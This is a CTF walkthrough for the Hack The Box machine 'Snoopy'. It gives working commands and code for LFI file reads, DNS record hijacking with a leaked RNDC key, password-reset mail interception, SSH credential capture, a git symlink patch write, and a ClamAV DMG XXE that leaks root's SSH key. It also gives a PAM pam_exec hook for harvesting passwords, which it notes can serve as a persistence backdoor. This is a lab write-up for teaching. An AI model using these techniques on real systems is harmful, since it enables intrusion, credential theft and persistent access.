🐢 Snoopy

Machine: Snoopy
Difficulty: Hard
Theme: DNS zone transfer β†’ vhost discovery β†’ download endpoint LFI β†’ BIND RNDC key disclosure β†’ authenticated dynamic DNS update β†’ SMTP password reset interception β†’ Mattermost access β†’ server provisioning callback β†’ SSH honeypot credential capture β†’ cbrown shell β†’ sudo git apply symlink file-write β†’ sbrown SSH β†’ ClamAV DMG XXE as root β†’ root SSH key disclosure β†’ root shell


🎯 Summary

Snoopy is a Linux machine built around abusing infrastructure trust rather than a single obvious web exploit.

Initial enumeration shows only three exposed services: SSH, DNS, and HTTP. DNS allows an AXFR zone transfer for snoopy.htb, which reveals internal and virtual-host records including mm.snoopy.htb, mattermost.snoopy.htb, postgres.snoopy.htb, and provisions.snoopy.htb.

The main web application exposes a download endpoint used for press material. Intercepting the request shows a file parameter. Path traversal through that endpoint allows reading local files from the server. /etc/passwd confirms local users cbrown and sbrown. Reading BIND configuration files discloses the RNDC dynamic update key and confirms that the snoopy.htb zone allows authenticated updates using that key.

The website also mentions that the mail server mail.snoopy.htb is currently offline. Mattermost password reset behavior identifies sbrown@snoopy.htb as a valid account, but sending the reset email fails. With the RNDC key, mail.snoopy.htb is dynamically updated to point to the attacker VPN IP. A local Postfix SMTP listener receives the Mattermost password reset email, and the reset link is extracted from /var/mail/sbrown. This gives access to Mattermost as sbrown.

Inside Mattermost, a custom slash command /server_provision is discovered. Submitting a Linux server provision request makes the target connect back to the attacker on TCP/2222. A normal nc listener is not enough because the callback is SSH. Running an SSH honeypot with sshesame captures credentials for cbrown.

As cbrown, sudo -l shows a constrained sudo rule allowing execution of git apply -v [a-zA-Z0-9.]+ as sbrown. A Git symlink patch technique is used: a repository in /dev/shm tracks a symlink to /home/sbrown/.ssh, and a crafted patch renames the symlink while adding authorized_keys through the renamed path. Applying the patch as sbrown writes the attacker SSH public key into sbrown’s authorized_keys, allowing SSH access as sbrown.

As sbrown, sudo -l shows a second constrained sudo rule: sbrown can run /usr/local/bin/clamscan --debug as root against files in /home/sbrown/scanfiles/. The installed version is ClamAV 1.0.0, which is affected by a DMG parser XXE issue. A crafted DMG is generated by modifying libdmg-hfsplus so the DMG resource plist contains an external entity. A harmless proof first leaks /etc/hostname through ClamAV debug output. The payload is then retargeted to /root/.ssh/id_rsa, leaking root’s SSH private key. The key is saved locally, permissions are fixed, and SSH as root succeeds.


1. Enumeration

Initial scan:

sudo nmap -sC -sV -vv -oA nmap/snoopy [TARGET_IP]

Important results:

22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu
53/tcp open  domain  ISC BIND 9.18.12
80/tcp open  http    nginx 1.18.0

A full TCP scan was also run:

sudo nmap -p- --min-rate=800 -T3 -vv [TARGET_IP] -oA nmap/snoopy_portscan

The full scan confirmed the exposed surface was small:

22/tcp
53/tcp
80/tcp

This immediately made DNS and web enumeration more important than port-hunting.

Hostnames were added locally:

echo "[TARGET_IP] snoopy.htb www.snoopy.htb" | sudo tee -a /etc/hosts

Important gotcha:

/etc/hosts does not affect dig unless the query is sent to the target DNS server directly. This failed when querying the local router, but worked when querying the target:

dig ns snoopy.htb
dig ns snoopy.htb @[TARGET_IP]

2. DNS Zone Transfer

DNS allowed a zone transfer:

dig axfr snoopy.htb @[TARGET_IP]

Useful records:

snoopy.htb.              A       127.0.1.1
www.snoopy.htb.          A       127.0.0.1
mm.snoopy.htb.           A       127.0.0.1
mattermost.snoopy.htb.   A       172.18.0.3
postgres.snoopy.htb.     A       172.18.0.2
provisions.snoopy.htb.   A       172.18.0.4
ns1.snoopy.htb.
ns2.snoopy.htb.

The useful names were added to /etc/hosts:

echo "[TARGET_IP] snoopy.htb www.snoopy.htb mm.snoopy.htb mattermost.snoopy.htb provisions.snoopy.htb mail.snoopy.htb" | sudo tee -a /etc/hosts

Important gotcha:

The AXFR records contained Docker/internal IPs such as 172.18.0.x and loopback records such as 127.0.0.1. Those values are meaningful from the target’s perspective, but not directly reachable from the attacker VPN. For browser access, the useful mapping was still the HTB target IP in /etc/hosts.


3. Web and Mattermost Discovery

The main site exposed marketing-style content and a video.

The video and page content revealed email addresses:

sbrown@snoopy.htb
pr@snoopy.htb

The site also contained a key operational hint:

As we migrate DNS records to our new domain please be advised that our mailserver mail.snoopy.htb is currently offline.

This was important later because the password reset path depended on mail delivery.

The Mattermost vhost was available at:

http://mm.snoopy.htb/

The application redirected to:

http://mm.snoopy.htb/login

Registration was blocked:

Contact your workspace admin

Password reset behavior was more useful.

Testing sbrown@snoopy.htb produced a different response than invalid or external addresses:

Failed to send password reset email successfully

This suggested:

sbrown@snoopy.htb is a valid Mattermost account
mail sending is failing

Important gotcha:

This was not yet account access. It was a username oracle plus a failed delivery path. The useful question became:

Can I make the target deliver the reset email to infrastructure I control?


4. Download Endpoint LFI

The main site exposed a download endpoint for press material:

GET /download?file=announcement.pdf HTTP/1.1
Host: snoopy.htb

The response was a ZIP archive, similar to:

press_release.zip
press_package/...

The file parameter was vulnerable to path traversal. Using Burp’s β€œRequest in browser” and saving the response allowed local files to be downloaded as ZIP content.

Equivalent command shape:

curl --path-as-is -s -o lfi-passwd.zip \
  "http://snoopy.htb/download?file=../../../../etc/passwd"
 
unzip -p lfi-passwd.zip

Doing this per file with curl + unzip works, but because every response comes back as a ZIP, a small helper makes repeated reads trivial β€” it hits the endpoint, unwraps the archive in memory, and prints the inner file. Save it as download.py:

#!/usr/bin/env python3
import requests
import io
import zipfile
import sys
 
def download(file):
    url = f'http://[TARGET_IP]/download?file=../../../../../../../../../../../{file}'
    r = requests.get(url)
    if len(r.content) == 0:
        return None
    zip_content = io.BytesIO(r.content)
    with zipfile.ZipFile(zip_content) as z:
        content = z.read(f"press_package/{file}")
    return content
 
file = download(sys.argv[1])
if file:
    print(file.decode())

Make it executable and read any file by path:

chmod +x download.py
./download.py /etc/passwd

This turns the whole LFI into a one-liner per target and made hunting through the BIND configs much faster than saving and unzipping each response by hand.

Important gotcha:

The inner archive path (press_package/{file}) and the number of ../ segments are specific to how this endpoint builds the ZIP β€” adjust both to the target. .decode() is fine for text; for binary content (keys, archives) use sys.stdout.buffer.write(file) or write the bytes to a file instead.

/etc/passwd confirmed local users:

cbrown:x:1000:1000:Charlie Brown:/home/cbrown:/bin/bash
sbrown:x:1001:1001:Sally Brown:/home/sbrown:/bin/bash

At this point, the LFI was aimed at high-value configuration files instead of random file dumping.

BIND configuration was retrieved:

/etc/bind/named.conf
/etc/bind/named.conf.local

named.conf contained an RNDC key:

key "rndc-key" {
    algorithm hmac-sha256;
    secret "[RNDC_SECRET]";
};

named.conf.local showed that the snoopy.htb zone allowed authenticated updates with that key:

zone "snoopy.htb" IN {
    type master;
    file "/var/lib/bind/db.snoopy.htb";
    allow-update { key "rndc-key"; };
    allow-transfer { 10.0.0.0/8; };
};

Important gotcha:

The BIND version itself was not the path. The path was configuration disclosure through LFI. The leaked RNDC key changed DNS from an enumeration service into an infrastructure control primitive.


5. Dynamic DNS Update

A key file was created locally:

cat > keyfile <<'EOF'
key "rndc-key" {
    algorithm hmac-sha256;
    secret "[RNDC_SECRET]";
};
EOF
 
chmod 600 keyfile

A test record was added first:

nsupdate -k keyfile -d <<EOF
server [TARGET_IP]
zone snoopy.htb
update add fake.snoopy.htb. 60 A [ATTACKER_IP]
send
quit
EOF

Verify:

dig @[TARGET_IP] fake.snoopy.htb A +short

Expected:

[ATTACKER_IP]

Then mail.snoopy.htb was pointed at the attacker VPN IP:

nsupdate -k keyfile -d <<EOF
server [TARGET_IP]
zone snoopy.htb
update delete mail.snoopy.htb. A
update add mail.snoopy.htb. 60 A [ATTACKER_IP]
send
quit
EOF

Verify:

dig @[TARGET_IP] mail.snoopy.htb A +short

Expected:

[ATTACKER_IP]

During exploitation, the record appeared to disappear or get reset, so the update was kept alive with a loop:

TARGET=[TARGET_IP]
ATTACKER=[ATTACKER_IP]
 
while true; do
  nsupdate -k keyfile <<EOF
server $TARGET
zone snoopy.htb
update delete mail.snoopy.htb. A
update add mail.snoopy.htb. 60 A $ATTACKER
send
quit
EOF
 
  echo "[+] Current mail.snoopy.htb:"
  dig +short @$TARGET mail.snoopy.htb A
  sleep 5
done

Important gotcha:

The correct nsupdate syntax requires a TTL before the record type:

update add mail.snoopy.htb. 60 A [ATTACKER_IP]

This is wrong:

update add mail.snoopy.htb A [ATTACKER_IP]

because A is parsed where the TTL should be.


6. SMTP Interception with Postfix

Since Mattermost failed to send mail and mail.snoopy.htb could now be controlled, an SMTP listener was needed.

Postfix was installed and configured as a simple receiver.

During install, β€œInternet Site” was selected.

Configuration:

echo "snoopy.htb" | sudo tee /etc/mailname
 
sudo postconf -e "myhostname = snoopy.htb"
sudo postconf -e "mydomain = snoopy.htb"
sudo postconf -e "myorigin = /etc/mailname"
sudo postconf -e "mydestination = \$myhostname, localhost.\$mydomain, localhost, \$mydomain, snoopy.htb"
sudo postconf -e "inet_interfaces = all"
sudo postconf -e "inet_protocols = ipv4"
sudo postconf -e "mynetworks = 127.0.0.0/8, 10.0.0.0/8"
 
sudo systemctl restart postfix

Postfix initially failed because TCP/25 was already used by INetSim:

sudo ss -ltnp | grep ':25'

The fix was to stop INetSim:

sudo systemctl stop inetsim
sudo systemctl restart postfix

Confirm listener:

sudo ss -ltnp | grep ':25'

Expected:

0.0.0.0:25

A local mailbox for sbrown was created:

USER=sbrown
 
sudo useradd -m "$USER" 2>/dev/null || true
sudo touch "/var/mail/$USER"
sudo chown "$USER":mail "/var/mail/$USER"
sudo chmod 660 "/var/mail/$USER"
sudo truncate -s 0 "/var/mail/$USER"

Monitor traffic and logs:

sudo tcpdump -ni tun0 host [TARGET_IP] and tcp port 25
sudo journalctl -u postfix -f

Then the Mattermost password reset for sbrown@snoopy.htb was triggered again.

Postfix received the email:

from=<no-reply@snoopy.htb>, to=<sbrown@snoopy.htb>, relay=local, status=sent

The reset URL was extracted from the local mailbox:

sudo cat /var/mail/sbrown | \
python3 -c 'import sys, quopri; print(quopri.decodestring(sys.stdin.buffer.read()).decode("utf-8", "replace"))' | \
grep -oE 'https?://[^ "]+'

The reset link allowed setting a new Mattermost password for sbrown.

Important gotcha:

A raw nc -lvnp 25 is useful for proving a TCP connection, but Postfix made the reset email easier to receive, store, and decode correctly.


7. Mattermost Access and Server Provisioning

After resetting the password, Mattermost login succeeded as sbrown.

The useful Town Square context was:

cbrown created a new channel for server provisions
requested host must already work with IPA, otherwise he cannot log in

The Server-Provisioning channel itself was empty.

Searching slash commands from the message input revealed a custom command:

/server_provision

Submitting the provision form with a Linux target caused a callback.

Values used:

Email: sbrown@snoopy.htb
Department: Engineering
Operating System: Linux - TCP/2222
Server IP: [ATTACKER_IP]

A packet capture confirmed the callback:

sudo tcpdump -ni tun0 host [TARGET_IP] and tcp port 2222

Observed:

[TARGET_IP]:random_port > [ATTACKER_IP]:2222 Flags [S]

Important gotcha:

This was not a reverse shell. The service was trying to SSH to the supplied host. A plain netcat listener could confirm the connection but could not capture a real SSH login flow.


8. SSH Honeypot Credential Capture

An SSH honeypot was used to capture the provisioning credential.

Build sshesame:

cd ~/htb/snoopy
git clone https://github.com/jaksi/sshesame.git
cd sshesame
go build

Create a config for port 2222:

cp sshesame.yaml snoopy-2222.yaml
vi snoopy-2222.yaml

Set the listener to:

listen_address: "0.0.0.0:2222"

Run it:

sudo ./sshesame -config snoopy-2222.yaml 2>&1 | tee ../sshesame-2222.log

Trigger /server_provision again.

The honeypot captured SSH authentication:

authentication for user "cbrown" with password "[CBROWN_PASSWORD]" accepted
connection with client version "SSH-2.0-paramiko_3.1.0" established
[channel 0] command "ls -la" requested

The credential was saved:

echo 'cbrown:[CBROWN_PASSWORD]' >> ~/htb/snoopy/creds.txt

SSH login succeeded:

ssh cbrown@[TARGET_IP]

Important gotcha:

The provisioning client was Paramiko. The honeypot did not need to provide a real shell. It only needed to behave enough like SSH to receive the authentication attempt.

Alternative: PAM credential capture (pam_exec.so)

Instead of a fake SSH server, the same credential can be captured by pointing the provisioning callback at a real sshd on the attacker box and hooking the PAM auth stack. PAM’s pam_exec.so runs an arbitrary script during authentication, and expose_authtok pipes the cleartext password to that script on stdin β€” so any login attempt against the attacker’s sshd leaks its password before the credential is even validated. This avoids building/running sshesame and works for any password-based PAM flow (SSH, su, sudo).

Run this on the attacker box, not the target.

The hook lives on the attacker-controlled SSH server that receives the inbound provisioning connection. Targeting common-auth casts a wide net β€” it captures every authentication on that host, including your own logins β€” so do this on a throwaway/attack VM and remove the line afterward. The same technique pivots to a persistence/credential-harvesting backdoor once you own a target box.

Confirm the PAM exec module is present:

find / -name pam_exec.so 2>/dev/null

Write the capture script to volatile memory and make it executable:

cat > /dev/shm/pwn.sh <<'EOF'
#!/bin/sh
 
echo "$(date) - $PAM_USER:$(cat -)" >> /dev/shm/pwned.log
EOF
chmod +x /dev/shm/pwn.sh

$PAM_USER is the username PAM is authenticating; cat - reads the cleartext password from stdin (delivered by expose_authtok).

Add the hook to the common auth stack β€” the file is /etc/pam.d/common-auth (included by every PAM service, including sshd). Position matters: the line must go before pam_unix.so (at the top of the Primary block), not appended to the bottom of the file.

Method 1 β€” edit it by hand (understand the change). Open the file in an editor:

sudo nano /etc/pam.d/common-auth      # or: sudo vi /etc/pam.d/common-auth

Find the Primary block and add the pam_exec line directly above the pam_unix.so line, so it reads:

# here are the per-package modules (the "Primary" block)
auth    optional    pam_exec.so quiet expose_authtok /dev/shm/pwn.sh
auth    [success=1 default=ignore]    pam_unix.so nullok

A PAM rule is four whitespace-separated parts (spaces or tabs both work) β€” knowing them is what lets you write the line from memory:

FieldValue hereMeaning
typeauththe management group β€” this rule runs during authentication
controloptionalits result never changes the overall pass/fail (so a script error can’t lock you out)
modulepam_exec.sorun an external program as part of the stack
argsquiet expose_authtok /dev/shm/pwn.shquiet (no module output) Β· expose_authtok (pipe the password to the program on stdin) Β· the script to run

Method 2 β€” one-liner (same result, faster). sed inserts the line above the first pam_unix.so match:

sudo sed -i '/^auth.*pam_unix.so/i auth\toptional\tpam_exec.so quiet expose_authtok /dev/shm/pwn.sh' /etc/pam.d/common-auth
  • /^auth.*pam_unix.so/ β€” the address: matches the pam_unix auth line.
  • i <text> β€” GNU sed insert, places <text> on the line before the match (\t expand to tabs).

Either way, restart the daemon so the rebuilt stack is loaded into memory:

# attacker /etc/ssh/sshd_config: UsePAM yes, PasswordAuthentication yes
sudo systemctl restart ssh

The resulting /etc/pam.d/common-auth should look like this, with pam_exec first:

# /etc/pam.d/common-auth
# here are the per-package modules (the "Primary" block)
auth    optional    pam_exec.so quiet expose_authtok /dev/shm/pwn.sh
auth    [success=1 default=ignore]    pam_unix.so nullok
# here's the fallback if no module succeeds
auth    requisite    pam_deny.so
auth    required     pam_permit.so

Why ordering matters β€” appending to the bottom does not work.

PAM walks the auth stack top-to-bottom. The default stack ends with pam_deny.so (requisite), which terminates the stack immediately once authentication fails. The bot’s offered password won’t match the local cbrown account you create (different/empty password), so pam_unix.so fails and the stack heads straight for pam_deny β€” a pam_exec line appended after pam_deny never runs and you capture nothing. Placing it before pam_unix.so guarantees it fires first and grabs the offered token regardless of whether local validation succeeds.

Flag meanings:

  • optional β€” operational safety. If the script errors it does not break the login flow, so it never locks you out.
  • quiet β€” suppress module output for stealth.
  • expose_authtok β€” the core mechanism. Pipes the cleartext auth token into the script via stdin.

The hook lives on the system sshd (port 22), but the provisioning callback dials 2222. Rather than rebind sshd, forward the callback port into the real daemon with socat so the inbound auth is processed by the PAM-hooked service:

socat TCP-LISTEN:2222,fork,reuseaddr TCP:127.0.0.1:22

First pass β€” capture the username. Trigger /server_provision and read the log:

cat /dev/shm/pwned.log
... - cbrown:

$PAM_USER reveals the username (cbrown), but the password field is empty. When the account does not exist locally, sshd short-circuits into a dummy auth path and never processes the real token, so expose_authtok has nothing to hand the script.

Second pass β€” capture the password. Create the account so sshd runs the genuine auth path, then trigger /server_provision again:

sudo useradd cbrown
cat /dev/shm/pwned.log
... - cbrown:
... - cbrown:[CBROWN_PASSWORD]

The second line now carries the cleartext password.

Remove the hook and the throwaway account when finished:

sudo sed -i '/pam_exec.so quiet expose_authtok/d' /etc/pam.d/common-auth
sudo userdel cbrown

Important gotcha:

For a nonexistent user, expose_authtok yields only the username β€” sshd runs a fake auth path for unknown users (to resist enumeration) and never feeds the submitted password into the PAM stack, so the password field comes back empty. This is why the capture is a two-step dance: the first provision names the user, and only after sudo useradd cbrown does the second provision drive the real auth path that exposes the cleartext token.


9. cbrown Enumeration

Basic enumeration as cbrown:

whoami
id
groups
hostname
ls -la ~
sudo -l

User context:

uid=1000(cbrown) gid=1000(cbrown) groups=1000(cbrown),1002(devops)

Home observations:

.bash_history -> /dev/null
.viminfo      -> /dev/null
.ssh/authorized_keys empty

sudo -l was the key finding:

User cbrown may run the following commands on snoopy:
    (sbrown) PASSWD: /usr/bin/git ^apply -v [a-zA-Z0-9.]+$

This means cbrown can run git apply -v <simple_filename> as sbrown.

Important gotcha:

This is not a generic shell escape. The regex is restrictive:

[a-zA-Z0-9.]+

No slashes, no spaces, no extra flags, no path traversal. The patch file must be in the current directory and have a simple name like patch.


10. Lateral Movement: cbrown to sbrown via Git Symlink Patch

The idea was to use git apply as sbrown to write to a path controlled through a Git-tracked symlink.

Generate an SSH key locally on the attacker box:

ssh-keygen -t ed25519 -f ~/htb/snoopy/sbrown_key -N ''
cat ~/htb/snoopy/sbrown_key.pub

On the target as cbrown, create a clean repo in /dev/shm:

cd /dev/shm
rm -rf r
mkdir r
chgrp devops r
chmod 775 r
cd r
 
git init
git config user.email cbrown@snoopy.htb
git config user.name cbrown
 
ln -s /home/sbrown/.ssh symlink
git add symlink
git commit -m init
git ls-files -s

Expected symlink mode:

120000 ... symlink

Create the patch from the target shell.

The public key must be a single line:

PUBKEY='ssh-ed25519 AAAA... user@parrot'
 
cat > patch <<EOF
diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/authorized_keys
new file mode 100644
index 0000000..1111111
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1,1 @@
+$PUBKEY
EOF

Verify:

nl -ba patch

Expected important line:

12  +ssh-ed25519 AAAA... user@parrot

Apply as sbrown:

sudo -u sbrown /usr/bin/git apply -v patch

Expected:

Checking patch symlink => renamed-symlink...
Checking patch renamed-symlink/authorized_keys...
Applied patch symlink => renamed-symlink cleanly.
Applied patch renamed-symlink/authorized_keys cleanly.

SSH as sbrown from the attacker:

chmod 600 ~/htb/snoopy/sbrown_key
ssh -i ~/htb/snoopy/sbrown_key sbrown@[TARGET_IP]

User flag:

cat ~/user.txt

Important gotchas:

The first patch failed with:

error: corrupt patch at line 12

The issue was patch formatting. The public key line must start with +.

Another issue appeared:

fatal: Unable to read current working directory: No such file or directory

This happened because the shell was sitting inside a stale/deleted /dev/shm/r directory. The fix was to leave the directory and recreate the repo cleanly:

cd /dev/shm
rm -rf r
mkdir r
cd r

Vim also produced:

E212: Can't open file for writing

Avoiding Vim and using a heredoc made the patch creation cleaner and prevented line wrapping issues.


11. sbrown Enumeration

As sbrown:

whoami
id
groups
sudo -l
ls -la ~
ls -la ~/scanfiles
find ~ -maxdepth 3 -type f -ls 2>/dev/null

User context:

uid=1001(sbrown) gid=1001(sbrown) groups=1001(sbrown),1002(devops)

sudo -l:

User sbrown may run the following commands on snoopy:
    (root) NOPASSWD: /usr/local/bin/clamscan ^--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$

scanfiles was writable by sbrown:

/home/sbrown/scanfiles

Check ClamAV:

which clamscan
clamscan --version
clamscan -h

Version:

ClamAV 1.0.0/26853/Fri Mar 24 07:24:11 2023

Important constraints:

Runs as root
Only --debug is allowed
Target must be inside /home/sbrown/scanfiles/
Filename can contain only letters, numbers, and dots
No extra flags can be passed

Important gotcha:

This is not a direct file-read rule. The regex prevents running:

sudo /usr/local/bin/clamscan --debug /root/root.txt

The useful question was:

Can a file placed in /home/sbrown/scanfiles/ make root’s ClamAV parser read and disclose another file?


12. ClamAV DMG XXE Proof

The installed version was vulnerable to a DMG parser XXE issue. The goal was to create a DMG whose resource plist contains an external entity. When scanned with --debug, ClamAV expands the entity and prints its contents.

First a harmless proof target was used:

file:///etc/hostname

Build environment on the attacker box:

cd ~/htb/snoopy
mkdir -p clamav_dmg
cd clamav_dmg
 
sudo apt install -y git cmake build-essential genisoimage
 
mkdir mnt
echo test > mnt/test.txt
 
genisoimage -V progname -D -R -apple -no-pad -o progname.dmg mnt
 
git clone https://github.com/fanquake/libdmg-hfsplus
cd libdmg-hfsplus

Find the plist and resource-writing code:

grep -R "plistHeader" -n .
grep -R "writeResources" -n .

The relevant file was:

dmg/resources.c

Edit it:

vi dmg/resources.c

Near the plistHeader, add the external entity:

const char *plistHeader =
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
"<!DOCTYPE plist [<!ENTITY xxe SYSTEM \"file:///etc/hostname\">]>\n"
"<plist version=\"1.0\">\n"
"<dict>\n";

In writeResources, leave the resource-fork key alone:

abstractFilePrint(file, "\t<key>resource-fork</key>\n\t<dict>\n");

Change the resource key print from:

abstractFilePrint(file, "\t\t<key>%s</key>\n\t\t<array>\n",
        curResource->key);

to:

abstractFilePrint(file, "\t\t<key>%s</key>\n\t\t<array>\n",
        "&xxe;");

Build and generate the crafted DMG:

cmake . -B build
make -C build/dmg -j8
build/dmg/dmg ../progname.dmg ../c.dmg

Verify the payload is present:

strings ../c.dmg | grep -Ei 'DOCTYPE|ENTITY|xxe|plist'

Expected:

<!DOCTYPE plist [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<plist version="1.0">
                <key>&xxe;</key>

Serve the DMG:

cd ~/htb/snoopy/clamav_dmg
python3 -m http.server 8081

Download it on the target as sbrown:

cd /home/sbrown/scanfiles
rm -f c.dmg
wget http://[ATTACKER_IP]:8081/c.dmg -O c.dmg
ls -l c.dmg

Run the allowed scan:

sudo /usr/local/bin/clamscan --debug /home/sbrown/scanfiles/c.dmg 2>&1 | tee /tmp/clamdebug.txt

Search the debug output:

grep -A20 -B20 -Ei 'snoopy|hostname|plist|resource|xxe|dmg' /tmp/clamdebug.txt

Proof output:

LibClamAV debug: cli_scandmg: wanted blkx, text value is snoopy.htb

That confirmed that the entity referencing /etc/hostname was expanded and printed by ClamAV while running as root.

Important gotcha:

The scan result can still say:

/home/sbrown/scanfiles/c.dmg: OK

That is not failure. The vulnerability is in debug disclosure, not malware detection.


13. Root SSH Key Disclosure

After the /etc/hostname proof worked, the entity target was changed from:

file:///etc/hostname

to:

file:///root/.ssh/id_rsa

Edit the attacker-side source again:

cd ~/htb/snoopy/clamav_dmg/libdmg-hfsplus
vi dmg/resources.c

Change:

"<!DOCTYPE plist [<!ENTITY xxe SYSTEM \"file:///etc/hostname\">]>\n"

to:

"<!DOCTYPE plist [<!ENTITY xxe SYSTEM \"file:///root/.ssh/id_rsa\">]>\n"

Rebuild and regenerate:

make -C build/dmg -j8
build/dmg/dmg ../progname.dmg ../c.dmg
 
strings ../c.dmg | grep -Ei 'DOCTYPE|ENTITY|xxe|id_rsa|plist'

Serve again:

cd ~/htb/snoopy/clamav_dmg
python3 -m http.server 8081

On target:

cd /home/sbrown/scanfiles
rm -f c.dmg
wget http://[ATTACKER_IP]:8081/c.dmg -O c.dmg
 
sudo /usr/local/bin/clamscan --debug /home/sbrown/scanfiles/c.dmg 2>&1 | tee /tmp/clamdebug_rootkey.txt

Search for private key material:

grep -A120 -B10 'BEGIN OPENSSH PRIVATE KEY\|BEGIN RSA PRIVATE KEY' /tmp/clamdebug_rootkey.txt

If needed, isolate the key-looking block:

awk '/BEGIN .*PRIVATE KEY/{flag=1} flag{print} /END .*PRIVATE KEY/{flag=0}' /tmp/clamdebug_rootkey.txt

The leaked key was saved locally on the attacker machine:

vi ~/htb/snoopy/id_rsa
chmod 600 ~/htb/snoopy/id_rsa

Important gotcha:

The key must be copied cleanly:

-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

No LibClamAV debug: prefixes.
No extra debug lines.
No missing line breaks.


14. Root Shell

SSH as root with the leaked key:

ssh -i ~/htb/snoopy/id_rsa root@[TARGET_IP]

Root shell:

root@snoopy:~#

Read root flag:

cat /root/root.txt

Important gotcha:

If SSH returns key format errors, the copied key is malformed. Re-copy the PEM block and preserve exact line breaks.


πŸ”— Condensed Attack Chain

Initial Nmap scan
  ↓
Only SSH, DNS, and HTTP exposed
  ↓
DNS queried directly against target
  ↓
AXFR succeeds for snoopy.htb
  ↓
Vhosts discovered: mm, mattermost, postgres, provisions
  ↓
Main web page reveals emails and offline mailserver notice
  ↓
Mattermost password reset identifies sbrown@snoopy.htb as valid
  ↓
Download endpoint exposes file parameter
  ↓
Path traversal reads /etc/passwd
  ↓
Local users cbrown and sbrown identified
  ↓
LFI reads BIND config files
  ↓
RNDC key recovered
  ↓
named.conf.local confirms allow-update for snoopy.htb using rndc-key
  ↓
nsupdate with leaked key adds fake.snoopy.htb test record
  ↓
mail.snoopy.htb dynamically updated to attacker VPN IP
  ↓
Postfix configured as SMTP receiver
  ↓
INetSim stopped because it occupied TCP/25
  ↓
Mattermost reset email delivered to attacker Postfix
  ↓
Reset URL extracted from /var/mail/sbrown
  ↓
Mattermost password reset completed for sbrown
  ↓
Mattermost access obtained
  ↓
/server_provision slash command discovered
  ↓
Linux TCP/2222 provisioning request submitted to attacker IP
  ↓
Target connects back over SSH
  ↓
sshesame SSH honeypot captures cbrown credentials
  ↓
SSH as cbrown succeeds
  ↓
sudo -l shows git apply allowed as sbrown
  ↓
Git repo created in /dev/shm with symlink to /home/sbrown/.ssh
  ↓
Crafted patch renames symlink and writes authorized_keys
  ↓
sudo -u sbrown git apply -v patch writes attacker key
  ↓
SSH as sbrown succeeds
  ↓
user.txt recovered
  ↓
sudo -l shows root clamscan --debug allowed against scanfiles
  ↓
ClamAV version 1.0.0 identified
  ↓
DMG parser XXE researched
  ↓
libdmg-hfsplus modified to add external entity to DMG plist
  ↓
Crafted DMG generated
  ↓
Proof scan leaks /etc/hostname as snoopy.htb
  ↓
Entity target changed to /root/.ssh/id_rsa
  ↓
Root SSH private key leaked through ClamAV debug output
  ↓
SSH as root succeeds
  ↓
root.txt recovered

🧠 Key Takeaways

DNS can become an exploitation path. The AXFR was only the first step. The real impact came from leaking the RNDC key and abusing authenticated dynamic updates.

/etc/hosts does not control dig. DNS testing must query the target name server explicitly with @[TARGET_IP].

A small exposed web download feature can become full infrastructure compromise if it allows path traversal into service configuration files.

Configuration files are often better LFI targets than flags. Reading /etc/passwd confirmed users, but reading BIND config exposed the dynamic DNS key that enabled the mail interception chain.

Scripting the LFI early pays off. When a download endpoint wraps every response in a ZIP, a tiny Python wrapper that unwraps the archive in memory turns file reads into ./download.py <path> β€” far faster than saving and unzipping each response by hand once you’re pulling multiple config files.

Version-based rabbit holes should be resisted until configuration and application logic are exhausted. BIND itself was not exploited; its leaked RNDC key was.

Password reset behavior can leak account validity even when the reset email fails. The β€œfailed to send reset email” message was useful because it confirmed the account existed and pointed toward mail infrastructure.

Offline mail infrastructure can be turned into an attack surface if DNS is controllable. By repointing mail.snoopy.htb, the reset email was delivered to the attacker-controlled SMTP server.

Postfix is better than netcat for receiving real mail. It stores messages, handles SMTP correctly, and makes token extraction repeatable.

Mattermost was not directly exploited. It was used as an internal workflow surface after account takeover.

Custom slash commands are high-signal. /server_provision exposed an internal automation workflow that made an outbound SSH connection.

A callback to TCP/2222 was not automatically a shell. The connection was SSH, so an SSH honeypot was the correct tool.

Credential capture through a honeypot worked because the provisioning automation attempted password-based SSH authentication to the supplied host.

Constrained sudo rules still have attack surface. The git apply rule looked tight, but Git patch semantics and symlink handling allowed a file write as another user.

The Git lateral movement required exact patch formatting. The added public key line needed a leading +, and the public key had to remain one line.

A stale working directory can break Git in confusing ways. fatal: Unable to read current working directory meant /dev/shm/r had been deleted or recreated while the shell was still inside it.

The sbrown sudo rule was not a GTFOBins shortcut. The regex prevented arbitrary files and flags. The exploitable condition was a privileged file parser processing attacker-controlled input.

ClamAV debug mode mattered. The vulnerability leaked data through parser debug output, so 2>&1 was required to capture stderr.

Always prove file-read primitives with harmless files first. /etc/hostname confirmed XXE expansion before targeting root SSH material.

Root SSH key disclosure is cleaner than directly reading the root flag. It gives a real root shell and a stronger proof of compromise.


⚑ Commands Cheat Sheet

Host setup

echo "[TARGET_IP] snoopy.htb www.snoopy.htb mm.snoopy.htb mattermost.snoopy.htb provisions.snoopy.htb mail.snoopy.htb" | sudo tee -a /etc/hosts

Nmap

sudo nmap -sC -sV -vv -oA nmap/snoopy [TARGET_IP]
 
sudo nmap -p- --min-rate=800 -T3 -vv [TARGET_IP] -oA nmap/snoopy_portscan

DNS

dig ns snoopy.htb @[TARGET_IP]
 
dig axfr snoopy.htb @[TARGET_IP]
 
dig @[TARGET_IP] mail.snoopy.htb A +short

LFI through download endpoint

curl --path-as-is -s -o lfi-passwd.zip \
  "http://snoopy.htb/download?file=../../../../etc/passwd"
 
unzip -p lfi-passwd.zip

Or use the download.py helper (see the LFI section) to skip the manual unzip:

./download.py /etc/passwd

Useful file targets:

/etc/passwd
/etc/bind/named.conf
/etc/bind/named.conf.local
/var/lib/bind/db.snoopy.htb

RNDC key file

cat > keyfile <<'EOF'
key "rndc-key" {
    algorithm hmac-sha256;
    secret "[RNDC_SECRET]";
};
EOF
 
chmod 600 keyfile

Dynamic DNS test

nsupdate -k keyfile -d <<EOF
server [TARGET_IP]
zone snoopy.htb
update add fake.snoopy.htb. 60 A [ATTACKER_IP]
send
quit
EOF
 
dig @[TARGET_IP] fake.snoopy.htb A +short

Dynamic DNS mail hijack

nsupdate -k keyfile -d <<EOF
